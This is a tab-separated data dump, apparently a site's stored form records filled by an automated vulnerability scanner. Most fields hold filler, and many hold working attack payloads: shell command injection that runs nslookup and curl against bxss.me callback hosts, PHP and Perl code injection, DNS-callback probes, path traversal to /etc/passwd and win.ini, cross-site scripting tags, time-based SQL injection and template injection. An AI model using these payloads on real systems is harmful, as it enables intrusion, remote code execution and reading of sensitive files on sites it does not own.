1	1	1	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.print(md5(31337)).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;(nslookup -q=cname hitzxhwzdwkwy5f68b.bxss.me||curl hitzxhwzdwkwy5f68b.bxss.me)|(nslookup -q=cname hitzxhwzdwkwy5f68b.bxss.me||curl hitzxhwzdwkwy5f68b.bxss.me)&(nslookup -q=cname hitzxhwzdwkwy5f68b.bxss.me||curl hitzxhwzdwkwy5f68b.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	';print(md5(31337));$a='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	`(nslookup -q=cname hittjnvirzpnv15b70.bxss.me||curl hittjnvirzpnv15b70.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000829819 - 942404	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&nslookup -q=cname hittlcgddykkcd04ee.bxss.me&'\""`0&nslookup -q=cname hittlcgddykkcd04ee.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(109).concat(70).concat(110).concat(84)+(require'socket'
Socket.gethostbyname('hitaj'+'zypvmixf4d498.bxss.me.')[3].to_s)"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	$(nslookup -q=cname hituppovycpttf2b7f.bxss.me||curl hituppovycpttf2b7f.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(103).concat(70).concat(113).concat(74)+(require'socket'
Socket.gethostbyname('hitzq'+'smeccruc0810a.bxss.me.')[3].to_s)+'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(nslookup -q=cname hitwdlscurqho8b876.bxss.me||curl hitwdlscurqho8b876.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(113).concat(71).concat(117).concat(67)+(require""socket""
Socket.gethostbyname(""hitwf""+""vdlrmxqz57137.bxss.me."")[3].to_s)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	expr 9000737100 - 934666	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"|echo zmtoip$()\ ihqnwv\nz^xyu||a #' |echo zmtoip$()\ ihqnwv\nz^xyu||a #|"" |echo zmtoip$()\ ihqnwv\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"echo ygczxo$()\ xepgmt\nz^xyu||a #' &echo ygczxo$()\ xepgmt\nz^xyu||a #|"" &echo ygczxo$()\ xepgmt\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	Http://bxss.me/t/fit.txt	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	@@5agH4	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	gethostbyname(lc('hitbd'.'hseoiwhod9b67.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(81).chr(120).chr(85)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""".gethostbyname(lc(""hitln"".""emjarhbg7fad9.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(121).chr(70).chr(102).chr(85)."""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.gethostbyname(lc('hitls'.'jowyoedd8408b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(82).chr(104).chr(77).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.gethostbyname(lc('hityz'.'bkwvravx24e6b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(81).chr(118).chr(77).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""".gethostbyname(lc(""hitgk"".""jupiluwtbf429.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(117).chr(72).chr(112).chr(68)."""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.gethostbyname(lc('hitbi'.'bvkwemfs482c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(83).chr(121).chr(89).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.gethostbyname(lc('hitxw'.'vqhyyalx0fc8d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(90).chr(111).chr(76).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	19203436	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()&%<zzz><ScRiPt >cND2(9577)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	19364749	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitqkgugzpstm63778.bxss.me||curl hitqkgugzpstm63778.bxss.me)|(nslookup -q=cname hitqkgugzpstm63778.bxss.me||curl hitqkgugzpstm63778.bxss.me)&(nslookup -q=cname hitqkgugzpstm63778.bxss.me||curl hitqkgugzpstm63778.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitxwzrdwkekec7e40.bxss.me||curl hitxwzrdwkekec7e40.bxss.me)`	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hitqyiwqursiu79527.bxss.me||curl hitqyiwqursiu79527.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	gethostbyname(lc('hitbl'.'fqzsjcreac10e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(71).chr(101).chr(72)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU9563315	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hitcogtxscaks0394c.bxss.me||curl hitcogtxscaks0394c.bxss.me))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitsicoqbmtqk46acc.bxss.me&'\""`0&nslookup -q=cname hitsicoqbmtqk46acc.bxss.me&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >cND2(9627)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hitfaapsxmdjm1f94c.bxss.me||curl hitfaapsxmdjm1f94c.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	file:///etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	19485411	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hitxljbebtufw95986.bxss.me||curl hitxljbebtufw95986.bxss.me))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""".gethostbyname(lc(""hiteo"".""aiumzfir610f8.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(115).chr(77).chr(97).chr(89)."""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()&%<zzz><ScRiPt >cND2(9516)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000656699 - 912333	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	19822844	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()&%<zzz><ScRiPt >cND2(9356)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'""()&%<zzz><ScRiPt >cND2(9734)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	19272471	1
1	1	1	../1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	19087023	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	file:///etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitzj'.'cgfdreejad1fa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(73).chr(116).chr(71)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	941029494840	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hiter"".""znaoyyxl5ddb8.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(108).chr(84).chr(105).chr(89)."""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >cND2(9995)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'""()&%<zzz><ScRiPt >cND2(9002)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	gethostbyname(lc('hitht'.'ylzkqoel18feb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(70).chr(105).chr(87)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""".gethostbyname(lc(""hitwi"".""lxbqyoaufca49.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(121).chr(65).chr(112).chr(83)."""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.gethostbyname(lc('hited'.'smjwbsie39e1d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(86).chr(108).chr(76).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitdgztyjvvvf58420.bxss.me||curl${IFS}hitdgztyjvvvf58420.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdgztyjvvvf58420.bxss.me||curl${IFS}hitdgztyjvvvf58420.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	19022426	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hittanxqcxgfvbdf5c.bxss.me||curl${IFS}hittanxqcxgfvbdf5c.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU9298898	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hithfrmwkgaeicde45.bxss.me||curl hithfrmwkgaeicde45.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >cND2(9705)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hitliqbdlanvp7394b.bxss.me||curl hitliqbdlanvp7394b.bxss.me)&'\""`0&(nslookup -q=cname hitliqbdlanvp7394b.bxss.me||curl hitliqbdlanvp7394b.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >cND2(9961)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitolxuzozbwje5086.bxss.me&'\""`0&nslookup -q=cname hitolxuzozbwje5086.bxss.me&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	19519659	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hitxazzzruhwd541fa.bxss.me||curl hitxazzzruhwd541fa.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hittpbqxspnod62208.bxss.me||curl hittpbqxspnod62208.bxss.me))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"|echo iphmoe$()\ ltyxwr\nz^xyu||a #' |echo iphmoe$()\ ltyxwr\nz^xyu||a #|"" |echo iphmoe$()\ ltyxwr\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"echo vxvtfa$()\ ikqsal\nz^xyu||a #' &echo vxvtfa$()\ ikqsal\nz^xyu||a #|"" &echo vxvtfa$()\ ikqsal\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	dfb__${98991*97996}__::.x	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	dfb{{98991*97996}}xca	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${9999526+9999537}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"1}}""}}'}}1%>""%>'%><%={{={@{#{${dfb}}%>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup${IFS}-q${IFS}cname${IFS}hitvzwqzeldrzac376.bxss.me||curl${IFS}hitvzwqzeldrzac376.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'+response.write(9421278*9480635)+'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	`(nslookup -q=cname hitcewkarmmff3cfc8.bxss.me||curl hitcewkarmmff3cfc8.bxss.me)`	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+response.write(9506371*9820621)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"echo mktltr$()\ mjglwt\nz^xyu||a #' &echo mktltr$()\ mjglwt\nz^xyu||a #|"" &echo mktltr$()\ mjglwt\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+response.write(9915894*9266400)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	6FidHBrv: G1tE54dQ	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'+response.write(9915894*9266400)+'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	01coEznG	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	file:///etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	YfYFoYjO: xfPgHN62	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	aecA2o77	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+response.write(9136434*9148666)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'+response.write(9136434*9148666)+'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
